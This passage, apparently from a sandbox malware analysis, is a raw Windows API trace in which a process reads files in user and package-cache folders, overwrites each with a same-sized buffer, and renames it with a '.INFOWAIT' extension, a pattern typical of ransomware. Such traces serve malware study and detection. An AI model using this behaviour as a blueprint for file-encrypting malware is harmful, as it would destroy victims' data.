0x0 [0141.369] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0141.474] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0141.484] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.484] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0141.484] CloseHandle (hObject=0xad0) returned 1 [0141.484] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" [0141.484] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT" [0141.484] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.infowait")) returned 1 [0141.485] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.486] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.487] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.487] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0141.487] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23000 [0141.487] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.487] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.487] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x23000, lpOverlapped=0x0) returned 1 [0141.578] VirtualAlloc (lpAddress=0x0, dwSize=0x23000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0141.590] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.590] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x23000, lpOverlapped=0x0) returned 1 [0141.591] CloseHandle (hObject=0xad0) returned 1 [0141.591] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" [0141.591] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT" [0141.591] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.infowait")) returned 1 [0141.592] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.593] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.594] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.594] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.594] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0141.595] GetLastError () returned 0x2 [0141.595] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0141.595] GetLastError () returned 0x2 [0141.595] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0141.595] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0141.595] lstrlenW (lpString="CreateFile") returned 10 [0141.595] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0141.595] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0141.595] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0141.595] lstrlenW (lpString="2") returned 1 [0141.595] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0141.595] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0141.595] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0141.596] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0141.596] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0141.596] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0141.596] LocalFree (hMem=0x24b2360) returned 0x0 [0141.596] LocalFree (hMem=0x279c770) returned 0x0 [0141.596] GetLastError () returned 0x2 [0141.596] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.596] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0141.597] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbd7f0 [0141.597] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.597] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.597] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0141.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0141.629] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.629] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0141.630] CloseHandle (hObject=0xad0) returned 1 [0141.630] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\IconCache.db" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\IconCache.db") returned="C:\\Users\\Default\\AppData\\Local\\IconCache.db" [0141.630] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\IconCache.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\IconCache.db.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\IconCache.db.INFOWAIT" [0141.630] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.infowait")) returned 1 [0141.630] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.631] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.632] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.632] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0141.632] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1a00 [0141.632] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.632] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.632] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1a00, lpOverlapped=0x0) returned 1 [0141.639] VirtualAlloc (lpAddress=0x0, dwSize=0x1a00, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.640] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.640] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1a00, lpOverlapped=0x0) returned 1 [0141.640] CloseHandle (hObject=0xad0) returned 1 [0141.640] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" [0141.640] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.INFOWAIT" [0141.640] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.infowait")) returned 1 [0141.641] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.641] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.642] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.642] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.643] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7000 [0141.643] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.643] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.643] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7000, lpOverlapped=0x0) returned 1 [0141.677] VirtualAlloc (lpAddress=0x0, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.679] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.679] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7000, lpOverlapped=0x0) returned 1 [0141.679] CloseHandle (hObject=0xad4) returned 1 [0141.679] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" [0141.679] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.INFOWAIT" [0141.679] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.infowait")) returned 1 [0141.680] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.681] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.681] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.681] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.681] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7000 [0141.681] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.682] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.682] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7000, lpOverlapped=0x0) returned 1 [0141.684] VirtualAlloc (lpAddress=0x0, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.686] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.686] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7000, lpOverlapped=0x0) returned 1 [0141.686] CloseHandle (hObject=0xad4) returned 1 [0141.686] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" [0141.686] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.INFOWAIT" [0141.687] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.infowait")) returned 1 [0141.687] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.688] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.688] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.688] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.688] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7000 [0141.688] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.689] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.689] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7000, lpOverlapped=0x0) returned 1 [0141.706] VirtualAlloc (lpAddress=0x0, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.708] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.708] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7000, lpOverlapped=0x0) returned 1 [0141.709] CloseHandle (hObject=0xad4) returned 1 [0141.709] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" [0141.709] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.INFOWAIT" [0141.709] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.infowait")) returned 1 [0141.710] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.711] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.711] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.711] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.712] GetFileSize (in: hFile=0xad4, 